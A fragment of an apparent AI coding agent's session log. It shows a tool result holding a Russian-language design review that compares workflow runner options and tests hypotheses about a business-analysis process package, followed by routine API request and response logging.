\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n  \u043d\u0435\u0442 ([\u0413-50](#\u0433-50)). \u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0434\u0430\u0451\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443.\\n\\n### \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432\\n\\n\u041e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f: \u25cf \u2014 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e, \u25d0 \u2014 \u0441 \u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c, \u25cb \u2014 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e.\\n\u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0438:\\n\u041a1 \u2014 \u0433\u0440\u0430\u0444 \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u0438\u0437 Source \u0431\u0435\u0437 \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u043a\u0438;\\n\u041a2 \u2014 \u043f\u0430\u0443\u0437\u0430 \u0438 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430 \u0434\u043d\u0438;\\n\u041a3 \u2014 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435;\\n\u041a4 \u2014 \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u043e \u0434\u043b\u044f \u0411\u0410, \u043d\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442\u0430;\\n\u041a5 \u2014 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0432 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u0430;\\n\u041a6 \u2014 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f \u0434\u043b\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f;\\n\u041a7 \u2014 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0441 Source, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u043e\u043c \u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0430\u043c\u0438;\\n\u041a8 \u2014 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438.\\n\\n| \u2116 | \u0412\u0430\u0440\u0438\u0430\u043d\u0442 | \u041a1 | \u041a2 | \u041a3 | \u041a4 | \u041a5 | \u041a6 | \u041a7 | \u041a8 | \u0418\u0442\u043e\u0433 |\\n|---|---------|----|----|----|----|----|----|----|----|------|\\n| \u0412-0 | \u041a\u0430\u043a \u0441\u0435\u0439\u0447\u0430\u0441: runner-\u043f\u0440\u0438\u0432\u0440\u0430\u0442\u043d\u0438\u043a, \u0411\u0410 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b | \u25cb | \u25cb | \u25cf | \u25cb | \u25cf | \u25cf | \u25cf | \u25cf | \u041e\u0442\u043f\u0440\u0430\u0432\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 |\\n| \u0412-1 | Runner-\u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 | \u25cf | \u25d0 | \u25cf | \u25d0 | \u25cf | \u25cf | \u25cf | \u25cf | **\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1** |\\n| \u0412-2 | \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0447\u0435\u0440\u0435\u0437 MCP \u0438\u043b\u0438 skill \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0431\u0435\u0437 runner-\u0432\u0435\u0434\u0443\u0449\u0435\u0433\u043e | \u25cb | \u25cb | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442: \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c |\\n| \u0412-3 | \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 runner: FastAPI + \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442 + Postgres | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25cf | \u25cf | \u25d0 | **\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2** |\\n| \u0412-4 | \u0412-3 \u0441 \u0434\u0432\u0438\u0436\u043a\u043e\u043c LangGraph (\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430, MIT) | \u25d0 | \u25cf | \u25cf | \u25cf | \u25d0 | \u25cf | \u25d0 | \u25d0 | \u0420\u0430\u0437\u0432\u0438\u0442\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 |\\n| \u0412-5 | Temporal | \u25d0 | \u25cf | \u25cf | \u25cb | \u25cb | \u25cf | \u25d0 | \u25d0 | \u0418\u0437\u0431\u044b\u0442\u043e\u0447\u0435\u043d \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0433\u0440\u0430\u0444\u0430 |\\n| \u0412-6 | n8n \u043a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | \u25cb | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25cb | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 \u043a\u0430\u043a \u044f\u0434\u0440\u043e |\\n| \u0412-7 | n8n \u043a\u0430\u043a \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u0412-3 | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25d0 | \u25d0 | \u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0435 \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 |\\n| \u0412-8 | Dify \u0438\u043b\u0438 Flowise | \u25cb | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 |\\n| \u0412-9 | Windmill, Kestra \u0438\u043b\u0438 Prefect | \u25d0 | \u25d0 | \u25cf | \u25cb | \u25d0 | \u25d0 | \u25d0 | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442: \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0445 |\\n| \u0412-10 | BPMN: Camunda 8 \u0438\u043b\u0438 Operaton | \u25cb | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25d0 | \u25cb | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 |\\n\\n\u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0446\u0435\u043d\u043e\u043a \u2014 \u0432 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\u0445 \u0433\u0440\u0443\u043f\u043f\u044b\\n[\u0417](#\u0437-\u0441\u043b\u043e\u0439-3-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b-\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438-\u0438-\u0437\u0430\u043f\u0443\u0441\u043a\u0430) \u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435\\n[\u00ab\u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b\u00bb](#\u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0435-\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b-\u0438-\u0438\u0445-\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f).\\n\\n## \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\\n\\n\u0421\u0441\u044b\u043b\u043a\u0438 \u0432\u0435\u0434\u0443\u0442 \u043d\u0430 `main`. \u041a\u043e\u0440\u043e\u0442\u043a\u0438\u0435 \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f: `G` \u2014 \u043f\u0430\u043a\u0435\u0442\\n[`dist/execution-package-gigacode-cli/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli),\\n`MM` \u2014 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\\n[`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model),\\n`P10`\u2026`P12` \u2014 \u043f\u0440\u043e\u0431\u044b \u0438\u0437\\n[\u0436\u0443\u0440\u043d\u0430\u043b\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.log).\\n\\n### \u0415. \u0421\u043b\u043e\u0439 1: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0435\u0451 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n\\n| \u2116 | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 | \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0421\u0442\u0430\u0442\u0443\u0441 | \u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c | \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f |\\n|---|----------|----------------|--------|-------------|--------------|\\n| \u0413-26 | \u0412 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043e, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 | `MM` \u043f\u043e\u0440\u0443\u0447\u0430\u0435\u0442 \u0447\u0442\u0435\u043d\u0438\u0435 `routes/` \u0438 \u0437\u0430\u043f\u0438\u0441\u044c \u043b\u0438\u0441\u0442\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0443\u00bb ([L49](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L49), [L154](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L154)), \u043d\u043e \u0441\u0440\u0435\u0434\u0438 [\u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L35-L53) \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442; `Actor` \u2014 \u00ab\u043a\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b \u0448\u0430\u0433\u00bb, \u0430 `System` \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0435\u043c \u0431\u044b\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 ([`SY-1`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L65)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c.** \u041e\u0431\u044a\u044f\u0432\u0438\u0442\u044c \u0440\u043e\u043b\u044c \u00ab\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430\u00bb \u043a\u0430\u043a \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u043a\u0430\u043a `Actor`: \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444, \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0440\u0435\u0431\u0440\u043e \u043f\u043e \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0443, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0433\u0435\u0439\u0442 \u0438 \u043f\u0438\u0448\u0435\u0442 \u0436\u0443\u0440\u043d\u0430\u043b. \u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0451 \u0432 runner, \u0430 \u043d\u0435 \u0432 \u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u0430\u0432\u0438\u043b |\\n| \u0413-27 | \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u044f\u0442 \u043e\u0442 \u0441\u0440\u0435\u0434\u044b \u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 | `MM` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043f\u043e\u0434 Mango \u0438 GigaCode ([`00-introduction.md` L69-L70](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/00-introduction.md#L69-L70)), \u043d\u043e `EP-R1`\u2026`EP-R9` \u0441\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0447\u0435\u0440\u0435\u0437 \u0433\u0440\u0430\u0444, \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0438 \u0436\u0443\u0440\u043d\u0430\u043b ([L225-L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L225-L233)); \u0442\u043e\u043b\u044c\u043a\u043e `EP-R8` \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u00ab\u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0432 \u043d\u043e\u0432\u044b\u0439 \u0447\u0430\u0442\u00bb | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c.** \u041f\u0435\u0440\u0435\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c `EP-R8` \u043a\u0430\u043a \u00ab\u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043f\u043e \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043b\u0438\u0441\u0442\u0430\u00bb \u2014 \u0431\u0435\u0437 \u0447\u0430\u0442\u0430 \u043a\u0430\u043a \u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044f |\\n| \u0413-28 | \u0423\u0441\u043b\u043e\u0432\u0438\u044f \u0440\u0451\u0431\u0435\u0440 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0442\u0430\u043a, \u043a\u0430\u043a \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432 YAML | `P11`: \u0432 [`routes/rg-bcreq-v1.yaml`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml) 17 \u043d\u0435\u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u043e\u0432, runner \u0438\u0445 \u043d\u0435 \u0447\u0438\u0442\u0430\u0435\u0442; \u0432\u0435\u0442\u0432\u0438 \u0437\u0430\u043d\u043e\u0432\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432 Python \u0434\u043b\u044f 8 \u0443\u0437\u043b\u043e\u0432 ([`run-task.py` L151-L187](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L151-L187)). \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0432 Source \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 runner | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** Runner \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b \u0438\u0437 YAML \u043d\u0430 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u043c \u044f\u0437\u044b\u043a\u0435 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0431\u0435\u0437 `eval`; \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0447\u0442\u043e \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f; \u0440\u0443\u0447\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f |\\n| \u0413-29 | G-mach \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u044d\u0442\u043e\u0433\u043e \u0448\u0430\u0433\u0430 | `P10`: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u0438\u043d\u044f\u0442 \u043a\u0430\u043a \u0432\u044b\u0445\u043e\u0434 n1, n2 \u0438 n3. \u0413\u0435\u0439\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0432\u0441\u0435\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 ([`run-task.py` L76](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L76)), \u0430 \u0441\u0445\u0435\u043c\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f entry, n0, n4, n5, n6, n8, n12 \u0438 n13 ([L220-L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L220-L233)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 \u0438 Source.** \u0423 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; runner \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u0443\u0437\u043b\u0430, \u0430 \u043d\u0435 \u043f\u0430\u043a\u0435\u0442 |\\n| \u0413-30 | \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u043f\u0438\u043b\u043e\u0442\u0430 `deterministic_share` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u043b\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 |\",\n[2026-09-29T07:44:36.574Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:44:36.574Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:44:36.574Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:44:36.574Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T07:44:36.574Z] [INFO]     \"persistedOutputPath\": \"/home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/b7ejdco20.txt\",\n[2026-09-29T07:44:36.574Z] [INFO]     \"persistedOutputSize\": 77050\n[2026-09-29T07:44:36.574Z] [INFO]   }\n[2026-09-29T07:44:36.574Z] [INFO] }\n[2026-09-29T07:44:36.632Z] [STDOUT] [log_8ec053] sending request {\n[2026-09-29T07:44:36.639Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:36.648Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:36.658Z] [STDOUT]   options: {\n[2026-09-29T07:44:36.663Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:36.671Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:36.674Z] [STDOUT]     body: {\n[2026-09-29T07:44:36.677Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:36.679Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:36.681Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:36.685Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:36.689Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:36.693Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:36.696Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:36.702Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:36.710Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:36.714Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:36.720Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:36.725Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:36.730Z] [STDOUT]     },\n[2026-09-29T07:44:36.734Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:44:36.742Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:44:36.746Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:36.753Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:44:36.766Z] [STDOUT]       onabort: null,\n[2026-09-29T07:44:36.774Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:44:36.779Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:44:36.783Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:44:36.785Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:44:36.788Z] [STDOUT]     },\n[2026-09-29T07:44:36.794Z] [STDOUT]     stream: true,\n[2026-09-29T07:44:36.801Z] [STDOUT]   },\n[2026-09-29T07:44:36.804Z] [STDOUT]   headers: {\n[2026-09-29T07:44:36.808Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:36.814Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:44:36.819Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:44:36.830Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:44:36.836Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:44:36.843Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:44:36.849Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:44:36.851Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:44:36.854Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:36.858Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1344\",\n[2026-09-29T07:44:36.861Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:44:36.865Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:44:36.868Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:36.870Z] [STDOUT]     \"x-client-request-id\": \"d657f733-0f20-45ae-9ec3-9df40d96b70f\",\n[2026-09-29T07:44:36.873Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:36.876Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:36.884Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:44:36.888Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:44:36.891Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:44:36.893Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:44:36.895Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:44:36.897Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:44:36.898Z] [STDOUT]   },\n[2026-09-29T07:44:36.900Z] [STDOUT] }\n[2026-09-29T07:44:37.432Z] [STDOUT] [log_8ec053, request-id: \"req_011CfXMhD1VmhHqvxSAEwVmu\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 801ms\n[2026-09-29T07:44:37.435Z] [STDOUT] [log_8ec053] response start 